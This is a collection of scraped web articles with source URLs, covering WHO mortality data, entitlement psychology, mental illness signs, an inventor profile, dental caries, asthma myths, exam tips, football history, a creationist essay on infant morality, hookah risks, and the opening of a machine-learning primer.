fragmentation in data collection systems in most low-income countries, where policy-makers still do not know with confidence how many people die and of what causes. The World Health Organization develops standards and best practices for data collection, processing and synthesis through the consolidated and improved International Classification of Diseases (ICD-11). This digital platform facilitates reporting of timely and accurate data for causes of death for countries to routinely generate and use health information that conforms to international standards. The routine collection and analysis of high-quality data on deaths and causes of death, as well as data on disability– disaggregated by age, sex and geographic location – is essential for improving health and reducing deaths and disability across the world. WHO’s Global Health Estimates, from which the information in this fact sheet is extracted, present comprehensive and comparable health-related data, including life expectancy, healthy life expectancy, mortality and morbidity, and burden of diseases at global, regional and country levels disaggregated by age, sex and cause. The estimates released in 2024 report on trends for more than 160 diseases and injuries annually from 2000 to 2021. 1. The World Bank. World Bank Country and Lending Groups. https://datahelpdesk.worldbank.org/knowledgebase/articles/906519-world-bank-country-and-lending-groups

http://www.who.int/mediacentre/factsheets/fs310/en/

Health

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The Psychology Behind A Sense Of Entitlement Have you ever met someone who seems to act like the world owes them? Someone who is not satisfied unless their own needs are met? Trying to maintain a relationship with someone who acts this way can feel frustrating. This type of behavior typically attracts strong criticism and condemnation. If this sounds like someone you know, you may be interacting with someone who has a sense of entitlement, which is a belief that one is inherently deserving. Below, we’ll explore some of the possible psychological explanations of a sense of entitlement, ways that a person might overcome this tendency, and how a person might get help navigating their relationship with a person who has a sense of entitlement. What does it mean to have a sense of entitlement? A sense of entitlement is a personality trait that is based on a person’s belief that they deserve privileges or recognition for things that they did not earn. People experiencing this sense tend to believe that the world owes them something in exchange for nothing. There are several possible reasons why someone may develop a sense of entitlement. Some people believe that when children are given everything they ask for without learning how to earn those things, it causes them to expect the same treatment when they become adults. On the other hand, certain personality disorders, such as narcissistic personality disorder (NPD) or antisocial personality disorder (ASPD), may lead to a sense of entitlement. Signs that someone has a sense of entitlement A person who has a sense of entitlement may come across as having extreme self-confidence or a belief that they should benefit from any given situation. When someone with a sense of entitlement doesn’t get what they want, they may lash out at others in anger or frustration. Their attitude may fluctuate often, especially when things don’t go their way. Such behaviors may be rooted in their belief that they should be admired and respected. Although they may come across as having a bold personality or a great sense of self-confidence, many people with a sense of entitlement can experience personal insecurities. The attention-seeking behavior they may exhibit can also isolate them from loved ones in their lives, which can lead to further distress. Understanding the psychology behind a sense of entitlement There are several theories regarding why some people may develop a sense of entitlement. Below, we’ll discuss some of them in depth. The spoiled child Parents naturally want their children to be happy, confident, and fulfilled. This can be a healthy and natural urge, but when parents make the mistake of always saying "yes" to their kids, it can gradually instill a sense of entitlement. This type of behavior, which is often allowed during early childhood, may cause impressionable children to believe that these sacrifices are acceptable patterns and behaviors throughout life. Children who are always given what they want and are not required to earn rewards for good behavior may become adults who expect others to cave to their demands. As adults, they may not know how to effectively communicate with others, and they may have trouble developing healthy relationships or maintaining stable employment. An attempt to overcompensate for past wrongs In some cases, after experiencing maltreatment, unfairness, or neglect, some people develop an entitled attitude. For example, a child who is deprived of love and affection may grow up to demand it from others because they did not receive it at a young age. A teenager who never got picked to be on the All-Star Team may eventually grow up to believe they should coach a team with only the best players and may become upset if someone who is not an exceptional athlete is allowed on the team. For some, a sense of entitlement may be the result of a personality disorder, such as narcissistic personality disorder (NPD) or antisocial personality disorder (ASPD). Personality disorders are typically characterized by altered views of oneself and others. People with NPD or other personality disorders may perceive themselves as superior to others, have a skewed view of the value of other people’s worth, and may not like following rules. They may exhibit an elevated sense of self-worth or an exaggerated façade of self-esteem. How a person might overcome a sense of entitlement There are various strategies that someone can practice to reduce a sense of entitlement and replace it with genuine self-esteem and gratitude. If you know someone with a sense of entitlement, they may benefit from some of the strategies below, but it may be difficult to get them to work on this aspect of themselves. Regardless, it may help to keep these strategies in mind as you think about how to interact with them while preserving your own mental health: - They can try to stop comparing themselves to others. Someone with a sense of entitlement may benefit from remembering that they don’t need to compete with others and that they can accomplish their own goals and dreams. - A person with a sense of entitlement may benefit from thinking about goals they want to achieve and making a list of things they are willing to do to reach those goals. - It may be important for someone with a sense of entitlement to learn not to be discouraged by temporary setbacks. The feeling they may get from accomplishing a goal on their own is likely going to be much greater than receiving something without investing any significant effort. - An entitled person may benefit from trying to see things from another person’s point of view. This can make doing things simply because they are right feel rewarding. - It may help a person with a sense of entitlement to strive to live in the present. The way they handle past challenges may influence their outlook, but they may learn to live in the present and not identify with negative experiences from the past. - When someone has a sense of entitlement, they may benefit from practicing treating others with respect, compassion, and gratitude. If they are genuinely kind to others and commit to acts of selflessness without expecting a favor in return, others may feel a desire to return the same goodness to them. Therapeutic support for entitlement concerns While the idea of tackling personal challenges independently can be helpful, there may be times when a person needs some support. With the support of a licensed counselor, people who have a sense of entitlement may be able to learn ways of changing behavior and interacting amicably with others. If you know someone with a sense of entitlement, they may be hesitant to see a therapist in person. If so, they may be more amenable to online therapy. Also, it can be challenging to navigate a relationship with someone who has a sense of entitlement. You may benefit from speaking with a licensed online counselor about ways to handle such a relationship while caring for your own mental health. Online counseling platforms like BetterHelp allow individuals to connect with a therapist from the comfort of home or anywhere there is an internet connection. They can engage in therapy in a way that is comfortable for them, including via live chat, phone, or videoconferencing. Research shows that online therapy is an effective method for treating a variety of mental health conditions. Individuals who have developed a sense of entitlement as a result of enduring past trauma may benefit from internet-based treatment for post-traumatic stress disorder (PTSD), which has been proven to reduce PTSD severity along with co-morbidities of depression and anxiety within a five-week period, and these results were sustained after three months. If you are experiencing trauma, support is available. Please see our Get Help Now page for more resources. While it is true that personality disorders like NPD and ASPD can be challenging to treat (sometimes as a result of people living with these conditions refusing to seek treatment), those who have pursued support have found success in online interventions. In a literature review of studies utilizing internet-delivered interventions for personality disorders, researchers identified studies that showed promise in reducing symptoms of personality disorders. Several of these studies involved the use of mobile apps as a supplement to traditional in-person therapy, and participants rated these apps as useful and feasible. Below are some reviews of counselors by BetterHelp clients. "Tyson really helped me out with my depression by finding out what my goals were in life, especially around my career and family. He left me with techniques and exercises that have really helped me observe negative thoughts and break their cycles. I have actually gone through a true, positive transformation in my life thanks to Tyson. Highly recommend!" "I was skeptical of BetterHelp and therapy in general. After my first call with Dr. Cox Lance, I knew I made the right choice. She was patient and listened to my problems. She helped me identify my goals and ways to change my perspective on the problems and annoyances I faced. Strongly recommend." - Previous Article - Next Article

https://www.betterhelp.com/advice/personality-disorders/the-psychology-behind-sense-of-entitlement/

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Mental health effects on daily life Mental illness is frequent, affecting one out of every five Mental illness and mental health problems refer to a variety of conditions that impair one's mental health. People's moods, thinking, and behavior are all affected by mental disorders. Anxiety, sadness, addictions, eating disorders (anorexia), and schizophrenia are examples of frequent mental disorders. Many mental diseases can considerably impair one's capacity to operate regularly, work, study, or maintain one's life quality, negatively impacting one's quality of life. Some mental disorder symptoms can be addressed conservatively with drugs and psychotherapy. Mental illness is frequent, affecting one out of every five persons. Mental The following are the five main warning signals of mental - Excessive paranoia, anxiety, or worry - Prolonged melancholy or irritation - Mood swings that are extreme - Social isolation - Significant changes in eating or sleeping habits you tell if someone has a mental illness? Depending on the mental disorder and severity of symptoms, signs, and symptoms of mental illness might vary. Some of the indications and symptoms of mental diseases - Sad and dissatisfied - Unable to concentrate - Excessive apprehension - Unnecessary guilt sentiments - Severe mood swings - Easily irritated - The proclivity to retaliate violently - Absence from friends and activities - Inability to keep relationships - being unable to work or study - Disorganized speech (speaking in meaningless words that make no sense) - Tiredness and sluggishness - Insomnia (difficulty sleeping) or excessive sleeping - Disconnection from reality - Delusions (false and sometimes idealistic beliefs in which the person rejects to stop believing, despite proof, for example, believing they are God, that aliens are reading their minds, etc.) - Hallucinations (experiencing imaginary feelings such as hearing voices, seeing things, feeling sensations on the skin, smelling unusual, unrealistic odors, etc.) - inability to manage stress or daily difficulties - Drinking too much alcohol - Usage of drugs - Appetite loss or binge eating - Reduced sex desire - Suicidal thoughts (requires immediate medical attention) causes mental illness in the brain? Many times, the precise cause of mental diseases is unknown. It may result from a variety of genes and environmental influences, or from a mix of the two: having a blood family who has mental illness are more likely to develop the disorder themselves. Some genes that raise the risk of mental disease may be inherited. Those who are genetically predisposed to mental illness can develop the condition as a result of environmental variables as well as other psychological or physical pressures. to the environment during birth: Pregnancy-related exposure to environmental stressors, inflammatory diseases, chemicals, alcohol, or narcotics can raise the baby's risk of developing a mental disorder later in in brain chemistry Chemicals called neurotransmitters are used by the brain to send signals to various body regions. Whenever these substances' functions are compromised, the nerve systems' typical operation is altered, which causes mental illnesses. are the contributing elements to mental illness? - The risk of mental illness could be impacted by the following factors: - mental disease running in the family - Previous mental illness history - the intense mental or physical strain brought on by demanding circumstances - financial difficulties, a job loss, the loss of a loved one, or a divorce - traumatizing situations, like sexual assault and war. - a difficult upbringing brought on by bullying, abuse, or neglect - Chronic medical disorders, particularly ailments like cancer, fibromyalgia, and rheumatoid arthritis, are linked to chronic pain and impact quality of life. - an injury to the brain - Abuse of alcohol or other drugs Post a Comment

https://www.healthlifekit.com/2022/07/what-are-5-signs-of-mental-illness-in.html

Health

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Meet the Black Inventor Who Created the First Digital Cell Phone Many people attribute the invention of the smartphone to Europeans, but in fact, the first digital cell phone was invented by an African American man named Jesse Eugene Russell. Russell was born on April 26, 1948, in Nashville, Tennessee. His family lived in a very poor and socially deprived part of Nashville. Fortunately, he got the opportunity to attend a summer education program at Fisk University and he did exceptional. Then, he moved on to study electrical engineering at Tennesse State University. He graduated with a Bachelor of Science degree in Electrical Engineering (BSEE). In 1973, Russell went further in his academic achievements to obtain a Master's degree in Electrical Engineering (MSEE) from Standford University. While Russell was working as an engineer at AT&T-Bell Laboratories in 1988, he created the concept for the wireless digital phone and communication. At the time, mobile devices were mainly used in vehicles, so Russell designed a cell phone that could transmit signals between handsets and cell phone towers. Doing so would make mobile phones more handy and also more affordable. In a statement, Russell once said, "Most of the time people are not in their cars. I said, 'Well that seems like an easy problem to solve, right? Why don't we just take the phones out of the car and put them on the people.'" Russell is responsible for other innovations in the field of wireless communications systems. He also created a company based in New Jersey called incNETWORKS Inc, a broadband wireless communication system that focuses on 4G broadband wireless communications technologies, networks and services.

https://www.blackhistory.com/2019/11/jesse-eugene-russell-black-inventor-who-created-digital-cell-phone.html#:~:text=Many%20people%20attribute%20the%20invention

Phones

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Cariesis a disease caused by bacteria in the mouth, e.g.,L. acidophilus, S. mutans, S. salivarius, S. mitis, S. sanguinis, E. faecalis.They metabolize sugars, producing acids that initiate the cariogenic process. As a result ofcaries, the hard tissues of the tooth are demineralized. Initially, carious lesions attack the tooth enamel, then they reach the dentin (then we can feel pain), and finally reach the pulp (then the pain is very strong), destroying the tooth structure from the inside. The whole process is time-consuming, so regular visits to the dentist help to detectcariesat an early stage of development, and the sooner the caries is healed, the better. In addition, the cost of treatment will be cheaper. In this article, Niketrainers.com.co will tell you: - A diet rich in products with a high sugar content (sweets, salty snacks, sweet drinks, highly processed products), - Neglecting proper oral hygiene, - Accumulated tartar, - Chronic dry mouth - Teeth susceptibility to demineralization processes. Cavities, commonly known as holes in the teeth, arise as a result of developing caries. Regular visits to the dentist are essential to find them. Cavities often develop under the surface of the tooth, therefore they are invisible and only the physician’s trained eye is able to assess whether our dentition has carious changes.Cavitiesmost often appear in the interdental spaces (which the bristles cannot reach when brushing the teeth), at the gum line and on the chewing surfaces of molars. Everyone, regardless of age, is at risk of developingcavities, especially when we neglect proper oral hygiene. However, people who suffer from a dry mouth are much more prone todeveloping cavities. Saliva has bactericidal and anti-cariogenic properties, and, to some extent, it cleans the surfaces of the teeth from microbes. Therefore, people whose salivary glands chronically produce too little of it should pay special attention to the condition of their teeth. There are three typesof cavities: - coronal defect– located on the chewing surface of the tooth and in the interdental spaces. It is the most common type of cavity in adults and children. - root defect– develops on the tooth root, which is not protected by the enamel layer, which makes it more vulnerable to the attack of caries. This is because with age the gums recede and reveal a fragment of the tooth root. - Recurrent caries– around fillings and crowns, plaque tends to accumulate excessively. Then, the task of caries is easier and it may begin to develop around the existing filling. Over time, the filling may lose its tightness, so that bacteria have an open path to the inside of the tooth and the so-calledsecondary cariesmay occur . The methodof caries treatmentdepends on the stage of the disease. For this reason, the dentist first carefully examines the teeth and assesses their condition. If he finds carious lesions, he can take an X-ray to check the extent of the defect and whether it has reached the pulp. Then a course of treatment is planned. Whenthe carious lesion hasjust started to be visible as small spots on the tooth surface, remineralization is enough. It is a simple procedure that does not even require drilling and filling the cavity. An agent rich in fluorine in the form of a varnish or gel is applied to the infected area. As a result, the damaged area can be rebuilt and the development of caries is inhibited. However, the preparation should be applied at least several times for the treatment to bring the desired results. In addition to remineralization, ozonation can be used. Ozone has a strong bactericidal effect, which definitely slows down the development of caries, and the procedure itself is painless and short, it takes only 20 seconds. Whenthe carious lesionis larger and the lesion has reached the dentin, it is necessary to remove the diseased tissue mechanically. For this purpose, the dentist drills the tooth with a special drill. This procedure is unpleasant and painful for most patients, especially when the cavity is large. For this reason, the dentist may administerlocal anesthesia, which starts working within several seconds after administration. Then the treatment is painless. Mechanical debridement is a necessary step in the treatment of the cavity.The carious lesionshould be completely removed thoroughly and precisely. Leaving even a small amount of caries in the dentin will make it continue to grow and destroy its structure until it reaches the pulp. After removing the entire carious lesion, the dentist fills the resulting hole with a tight filling that prevents microorganisms from penetrating deep into the tooth. Ifcariesis not detected early enough, it will reach the pulp, infecting the only living tissue of the tooth. In this case, root canal treatment is necessary, during which the pulp is removed and the dental canals are cleaned, disinfected and tightly filled. Then, depending on the condition of the tooth crown, the dentist rebuilds it with a composite, and if it is badly damaged, a prosthetic crown should be placed. In dentistry, many materials are used that can serve as a filling used in the treatmentof carious cavities. Light and chemically cured, glassomer, porcelain and amalgam seals are available. Light-cured fillingsare the most frequently used. They guarantee high aesthetics of the filling. The color can be matched to the shade of the patient’s teeth, so that the filling is almost invisible, so they can also be used to fill cavities in the front teeth. The light-cured compositehas the consistency of plasticine and can be modeled after application. The hardening of the material occurs under the influence of light from a polymerization lamp. In addition to their aesthetic appearance, they are also very durable, because the filling is connected to the tooth with special bonding systems. A very similar type of filling arechemically cured composites, which are also used to treat both front and back teeth. Unfortunately, they are definitely less durable, and their aesthetics also leave a lot to be desired compared to the light-cured composite. In the caseof a chemically hardened filling, the liquid and the powder are mixed and applied to the defect site. As a result of the chemical reaction, the mixture hardens, then the seal can be smoothed and adjusted to the patient’s bite. The amalgamsconsist, among others, of made of silver, zinc, mercury and copper. They are currently being abandoned because they contain toxic mercury and are unsightly. In addition, they discolor tooth tissues and conduct high and low temperatures. Their only advantage is durability and low price. This type of filling is mainly used in the case of milk teeth. They consist of special cements and are less aesthetic and durable than composites. They can wear off and crumble. However, it binds very well with the tooth tissues and releases fluorine ions that regenerate enamel and dentin and prevent the development ofcariesin the future. The combination of glassomer cement and composite (compomer fillings) is also used to treat milk teeth. They have the advantages of glassomer fillings and are more durable than them. Unfortunately, they are not very aesthetic. Porcelainfillings are also known asonlays and inlays. They are used when there is an extensive tooth loss, but a complete prosthetic crown is not needed. Before placing the porcelain filling, the tooth should be properly prepared, and the filling itself is prepared on request in a specialized laboratory. Onlay and inay fillings are very aesthetic, their color can be matched to the color of the patient’s teeth. The onlay fillingrecreates the chewing surface and the tops of the tooth cusps. In contrast, theinlayis used on large chewing surfaces and on the slopes of the nodules. Their advantage is high durability and resistance to discoloration (occurring, for example, as a result of drinking coffee and tea). - Conservative treatment is most often performed under local anesthesia. Due to the anesthesia, you may feel numbness on the face on the side of the procedure, and sometimes there are difficulties in speaking or swallowing. - Until full sensation is regained, it is recommended to refrain from meals. You should also be careful when drinking beverages. The symptoms of anesthesia gradually disappear within an hour. - The currently used materials that recreate hard tooth tissues (fillings) thanks to the technique of their hardening using a UV lamp are resistant to external factors immediately after their insertion and do not require drying or biting restrictions, so you can eat immediately after the visit. - When treating cavities in teeth that already have at least one side missing, the dentist places a metal or foil ring (matrix) on the tooth, the edge of which is placed in the gap between the tooth and the gum. Hence, in some cases, after the anesthesia is over, you may feel a little pain in the area of the treated tooth. These symptoms disappear 1-3 days after the visit. - After a dental visit where fillings are placed, you can perform normal or standard oral hygiene procedures, such as brushing your teeth with a brush and paste, using floss and an irrigator, or rinsing liquid. - It is very important to scrupulously follow the appointment schedule and dental treatment plan. Comments are closed.

https://niketrainers.com.co/dentalcarries-what-is-caries-treatment-of-cavities-and-types-of-fillings/

Health

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As a chronic lung disease, asthma affects millions of people of all ages across the world. In Turkey, according to last year's figures, there are around 5 million asthma patients, over 1.5 million of which are children. High smoking rates in the country are thought to be fueling the rise in these numbers, with experts warning the nation about negative outcomes. From shortness of breath, wheezing and the feeling of pressure in the chest to dry cough – the symptoms of asthma can be very severe or sometimes minor. The condition causes airways to get inflamed and narrow, making it hard to breathe, which naturally causes a serious decrease in the quality of life. The fact that asthma is not taken seriously or intervened early negatively impacts the treatment and outcome of the disease, said Adile Berna Dursun, a chest diseases and adult allergies specialist at Memorial Hospital in Ankara. Despite asthma being one of the common diseases in society, misconceptions and myths abound, causing delay or disruptions to the treatment of the condition. This also negatively affects the work, school performance and social lives of patients, Dursun added. As this year's World Asthma Day theme is “Uncovering Asthma Misconceptions,” Dursun shared the 10 most common misconceptions about the disease: One of the most common myths believed about asthma is that it is seen only in childhood and will not occur again. However, asthma is a chronic disease that can occur and reoccur in childhood, infancy, adolescence, middle age or adulthood. Allergies and asthma can be confused ailments. An allergy is an immune response we create against substances that do not belong to our body. Only some patients have an asthma response to allergies. There is also non-allergic asthma. Three-quarters of childhood asthmatics are the allergic type. As the age progresses, the rate of allergic asthma decreases by half. On the other hand, if the individual is obese and smokes, such a clear distinction cannot be made. Asthma is not a contagious disease, it is a non-microbial inflammatory condition. Asthma only affects the individual themselves. While there have been some studies proving the effect of pollution, especially in big cities, on asthma patients, it is a disease that also has a genetic basis. Having someone in your family with asthma increases the likelihood of your children having asthma too. If one of the parents has the disease, there is a 30-35% chance that the child will get it. Asthma patients can do sports. In fact, asthma patients should be encouraged to exercise and be active. Doing sports is necessary for both physical and mental well-being and strengthens muscles. Only winter sports, deep-sea diving and sports such as parachuting are not generally recommended for people with asthma. Asthma patients tend to stop their medication immediately during pregnancy. On the contrary, asthma medications should never be stopped during pregnancy. Discontinuation of the drug may lead to the worsening of asthma and breathing problems that may cause the baby to suffer from a lack of oxygen, leading to anomalies such as developmental delays, premature birth, low birth weight and the non-development of lungs. There are asthma medications that can be used safely during pregnancy. During this period, expectant mothers should stay in contact with their physicians doing follow-ups on their asthma. Expectant mothers with asthma do not necessarily have to give birth by cesarean. Pregnant women with asthma can have a natural childbirth. The type of delivery will be up to the patient and the attending physician. Just as medications should not be abruptly stopped during pregnancy if there are no complications, they also should not be stopped during the COVID-19 pandemic, especially without prior consent from a doctor. Asthma patients should continue to take their medications regularly. Although it is known that asthma is not a risk factor in terms of getting the coronavirus, according to a year's worth of data on the pandemic, it should be kept in mind that those whose asthma is not under control and do not take their medications regularly may have a higher risk of contracting COVID-19 and have more severe outcomes. There is a fear of cortisone among the public. Most of the time, asthma treatment starts with a spray through an inhaler. The device helps to administer the medication in very small doses, most of which contains cortisone. Commonly associated side effects such as weight gain, cataracts and an increase in appetite are not observed in those using their medications properly and in the frequency prescribed. However, improper use of an inhaler may cause hoarseness and thrush in the mouth. Since it is a chronic disease, asthma patients need to receive continuous treatment, but that does not make them addicted.

https://www.dailysabah.com/life/health/true-or-false-10-common-misconceptions-about-asthma

Health

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As the examination date draws closer, many candidates are studying more and praying for a favourable outcome. However, there are some other crucial strategies that science students will need to take note in order to perform better in the examination. Firstly, identify your strength subjects and begin the examination with such subjects. This strategy is crucial because it helps to ease the examination tension and to also manage the time of the examination. For example, a candidate writing Biology, Chemistry, Physics and English Language can decide to start with Biology because it does not contains calculations. Many students also find it easier to answer Biology questions faster than the other subjects that involves calculations. The second strategy is to avoid starting with your weak subjects or calculations. This is because subjects with calculations are likely to consume more time than others. In the bid to answer all the forty questions, a lot of time might be wasted. Such candidate might end up rushing the other subjects. In the long run, the candidate might not score a very high mark. For example, candidate who is writing Mathematics, Physics, English and Biology can take the option of beginning with English and Biology before moving to the subjects that involves calculations. Starting with Mathematics and Physics might reduce the performance in other subjects. If this strategy is well implemented, a positive outcome is expected. Thirdly, science students should take note of their trigonometry ratios. Those candidates who will be writing Mathematics and Physics need to master the common Trig ratio before the examination date. This is simply because the calculators available for the examination are not scientific. Thus, students who need to use scientific functions might find it challenging. It is thus advisable for such candidates to prepare further by taking note of all the necessary trig ratios which might be needed for the examination. With these three strategies discussed, we believed that candidates can take notes of necessary things before the examination date. Kindly share your views Post a Comment

https://www.examweapon.com/2021/06/jamb-2021-if-you-are-writing-science-subjects-in-utme-take-note-of-these-three-strategies.html

Education

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Football, the beautiful game, has a history that stretches back through the annals of time. Its origins are deeply intertwined with the cultural fabric of civilizations around the world. From ancient rituals to medieval pastimes, the evolution of football reflects humanity's innate desire for competition, camaraderie, and recreation. In this blog post, we embark on a journey to uncover the ancient roots of football, tracing its development from diverse ball games played in different cultures throughout history. Ancient Rituals and Ball Games: The earliest manifestations of football-like games can be found in ancient civilizations across the globe. In ancient China, a game called "cuju" was played as early as the Han Dynasty (206 BCE – 220 CE). Cuju involved kicking a leather ball through a goal, and it was often played as part of religious rituals and military training. Meanwhile, in Mesoamerica, the ancient Mayans and Aztecs played a game known as "pitz" or "tlachtli." This ball game held significant religious and cultural importance, with ceremonial courts dedicated to its play. Players used their hips to propel a rubber ball through stone hoops, demonstrating agility, strength, and skill. As we move into the Middle Ages, we encounter various forms of football-like games across Europe. These medieval pastimes were often chaotic and lacked standardized rules, resembling more of a mob spectacle than organized sport. In England, games like "mob football" or "Shrovetide football" were popular during festivals and holidays. These matches involved entire villages and often resulted in raucous scenes of mass participation. The objectives varied, ranging from getting the ball to a specific location to simply outmaneuvering the opposing team. Codification and Standardization: It wasn't until the 19th century that football began to take on a more recognizable form with the codification of rules. In 1863, the formation of the English Football Association (FA) marked a pivotal moment in the sport's history. The FA established standardized rules, including the prohibition of handling the ball, paving the way for modern football as we know it today. The ancient roots of football are a testament to its enduring appeal and universal nature. From ancient rituals to medieval pastimes, the evolution of football reflects the diverse cultures and traditions that have shaped human history. As we continue to celebrate the sport's legacy, let us remember its humble beginnings and the timeless joy it brings to people around the world. Post a Comment

https://www.alalamychronicles.com.ng/2024/04/tracing-roots-exploring-ancient-origins.html

Sports

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It is fascinating how quickly human babies learn about the world around them. But how soon can they distinguish "good" from "bad"? Some Yale psychologists wanted to find out, and their research results fly in the face of Freud and other evolutionary humanists. Yale professor Paul Bloom and his team tested infants and toddlers by using puppets to portray "naughty" and "nice" actions. They found that from the age of six months, babies differentiated good from bad by overwhelmingly choosing to hold the nice puppet over the mean one.1 Where did this sensibility come from, and why is it so evident at such a young age? Bloom summarized his research for The New York Times, saying it was clear that what is now known of baby morality is exactly the opposite of what was taught by the great 20th-century psychologists Sigmund Freud, Jean Piaget, and Lawrence Kohlberg.2 These evolutionary humanists asserted that babies are "amoral animals" upon which society stamps its own particular moral guidelines. But this came from their belief that humans are merely "naked apes" obsessed with God, or that in early life humans reflect their primate origins, not from observations or careful study. Instead, humans are evidently born with an innate moral sense that is not dependent on external affirmation. For example, "even a 4-year-old knows not only that unprovoked hitting is wrong but also that it would continue to be wrong even if a teacher said that it was O.K."2 Given secular psychology's overall premise that "biological evolution and cultural experience conspire to shape human nature," how does Bloom accommodate the odd fact that babies possess a "prewired understanding" of a cross-culturally consistent list of universal wrongs? He wrote, "These universals make evolutionary sense," because it is supposedly beneficial to be "kind to our kin, whose survival and well-being promote the spread of our genes."2 Of course, for the rest of the animal kingdom, which has no sense of morality, it is presumably most beneficial for them to be unkind, with the occasional altruistic situation among plants as an added conundrum.3 Universal morals actually make no evolutionary sense. For one thing, morals are not physical. They are not composed of DNA, nor are they body parts or features of body parts. They are therefore not selectable by nature. However, this research adds to prior data showing unequivocally that humans are wired for morality, a fact that evolution cannot explain.4 Also, people possess not only the knowledge of right and wrong, but also the ability to choose right or wrong. Bloom admitted that volition seems to be tied to morality, but he stopped short of drawing a fuller implication. Without both a moral code and an ability to adhere to it--along with other capacities like logic--there would be no such thing as a recognized moral behavior. Moreover, these immaterial aspects work in concert with each other, along with specialized capacities to learn. How much more do humans fit the image of a powerful (volitional), good (moral), and wise (cognitive) God,5 rather than representing the product of some imaginary selective environments? All of these immaterial aspects must be in place at once. And it is now clear that they do not arrive later in life through some kind of external training or influence, but are wired in from the beginning. Infant morality was even referenced in the book of beginnings, in which the Lord told Noah's family after the Ark landed: "I will not again curse the ground any more for man's sake; for the imagination of man's heart is evil from his youth."6 When it comes to a comprehensive explanation for the origins of unique human behavior and ability, the best source is the Word of the One who created that humanity. - Frank, D. Can Babies Tell Right From Wrong? The New York Times online video. Posted on nytimes.com, accessed May 24, 2010. - Bloom, P. The Moral Life of Babies. The New York Times. Posted on nytimes.com May 3, 2010, accessed May 21, 2010. - Demick, D. 2000. The Unselfish Green Gene. Acts & Facts. 29 (7). - Thomas, B. Did Religion 'Emerge' Through Evolution? ICR News. Posted on icr.org March 5, 2010, accessed May 21, 2010. - Romans 2:14-15. - Genesis 8:21. * Mr. Thomas is Science Writer at the Institute for Creation Research. Article posted on May 26, 2010.

http://www.icr.org/article/5470/

Religion

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A hookah is a water pipe that allows a person to smoke tobacco, often combining it with sweet flavors, such as apple, chocolate, coconut, licorice, or watermelon. People have used hookahs for centuries in ancient Persia and India. Today, people often smoke a hookah as a group, at home or in cafes or lounges. Other names for a hookah include water pipe, narghile, or shisha, the latter being a word that can also refer to the flavored tobacco. Some people have misconceptions that hookah smoking is not harmful to their health or not as dangerous as other smoking types. In this article, we look at the health risks associated with hookah smoking. A hookah has several universal components, including a water bowl, metal body, a head with holes in the bottom, and a flexible hose with a mouthpiece. The device works by burning charcoal that will then burn a tobacco mixture, as well as heat up the water. The smoke the charcoal generates helps move the tobacco through the water and hose and up to the mouthpiece. Using a hookah exposes a person to tobacco smoke, which contains harmful components, such as carbon monoxide. The water in the hookah does not filter out these components. Even if a person does not smoke directly from the hookah, they can still inhale secondhand smoke if they are nearby. Some of the potential health effects of hookah smoke include: - Complications of lung function, such as chronic obstructive pulmonary disease (COPD) and bronchitis. - Increased risk of heart conditions, such as heart disease and heart attack. - Increased risk of cancer, especially lung, throat, and mouth cancer. - Premature skin aging, since smoking tobacco can decrease the amount of oxygen that reaches the skin. - Increased risk of infectious diseases, such as mononucleosis and oral herpes. People may also increase their risk of respiratory infections if they share the hookah mouthpiece with others. According to the For example, the tobacco smoke still delivers nicotine, a highly addictive substance. Hookah smoke also requires charcoal to be burnt, which interacts with tobacco, creating fumes that can be just as toxic as cigarette smoke. People who use a hookah may be exposed to the toxins in the smoke longer than if they smoked cigarettes. According to the CDC, a person puffs on a cigarette an average of 20 times, but they may take 200 puffs during an hour-long hookah session. Also, smoking a hookah delivers more than 2.5 times the amount the nicotine as cigarette smoke, according to the Manufacturers have released newer versions of hookahs that use electric heat instead of charcoal. The makers call these e-charcoal heat sources and often market them as a safer alternative to traditional charcoal hookahs. However, the University of Cincinnati report early research that a team of its chemists is doing to look at the components of smoke generated by e-charcoal. The researchers say they have found that e-charcoal smoke kills 80 percent of sample lung cells 24 hours after exposure. This risk is more significant than the higher-toxin charcoal the team tested, which kills 25 percent of lung cells. The lower-toxin charcoal was found to kill 10 percent of sample lung cells. As a result, the researchers conclude that e-charcoal hookah options could potentially be more dangerous than their charcoal counterparts. More published scientific research is now needed to confirm these early results. Some hookah bars sell non-tobacco products, which they may advertise as having no harmful effects. This is a myth, as the smoke still contains carbon monoxide, a harmful compound, and other toxins. Other myths about hookah smoking include: - Hookah smoking is not addictive. Hookah smoke contains nicotine, a highly addictive compound. - The water in hookah smoke filters harmful ingredients. The water in hookah smoke does not filter out any harmful chemicals. - Cigarettes “burn” the lungs because they use heat, and hookah smoke is cooler, so it does not burn. Smoke from a hookah can still damage the heart and lungs, even after cooling down. While some people believe hookah smoking is a safer and more social alternative to smoking tobacco, it does not offer health benefits and poses several significant health risks. Hookah smoking also puts other people at risk of inhaling secondhand smoke. So, to reduce the risks of damaging the lungs and other organs, it is best for people to avoid smoking tobacco products, including by using a hookah.

https://www.medicalnewstoday.com/articles/322982.php

Health

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Welcome to Part 1 of our Data Science Primer. This bird’s eye view of the machine learning workflow will give you an end-to-end blueprint for data science and applied ML. You’ll learn the “ELI5” intuition behind machine learning, key terminology, and the ingredients to an effective ML model. You may have already seen some of the tutorials on our site. Tutorials are excellent for getting your feet wet, but to consistently get great results in data science, you must have a systematic approach to solving problems. So that’s what we’ll provide you here! First, we must clear up one of the biggest misconceptions about machine learning: Machine Learning ≠ Algorithms When you open a textbook or a university syllabus, you’ll often be greeted by a grocery list of algorithms. They all have fancy sounding names, and they usually fill up the entire table of contents. This has fueled the misconception that mastering machine learning is about memorizing dozens of algorithms: However, that’s not the full picture at all. In practice, applied machine learning is not about the algorithms. It’s much more than that. Machine learning is a comprehensive approach to solving problems… …and individual algorithms are only one piece of the puzzle. The rest of the puzzle is how you apply them the right way. What makes machine learning so special? (ELI5) Machine learning is the practice of teaching computers how to learn patterns from data, often for making decisions or predictions. For true machine learning, the computer must be able to learn patterns that it’s not explicitly programmed to identify. ELI5: The curious child Even though it sounds cool and mysterious, machine learning is simply a reflection of how humans learn naturally. Here’s an example of how we “machine learn” when we’re kids: Imagine a child playing at home, in the living room. Suddenly, he sees a candle for the first time ever! It piques his curiosity and he cautiously waddles over. - Since he doesn’t know better, he sticks his hand over the candle flame. - “Ouch!” he yells, as he yanks his hand back. - “Hmm… that red and bright thing really hurts!” Two days later, the child is playing in the kitchen. Suddenly, he sees a stove-top for the first time ever! Again, he cautiously waddles over. - He’s curious again, and he’s thinking about sticking his hand over it. - Suddenly, he notices that it’s red and bright! - “Ahh…” he thinks to himself, “not today!” - He remembers that red and bright means pain, and he ignores the stove top. To be clear, this is only machine learning because the child learned patterns from the candle. He learned that the pattern of “red and bright means pain.” On the other hand, 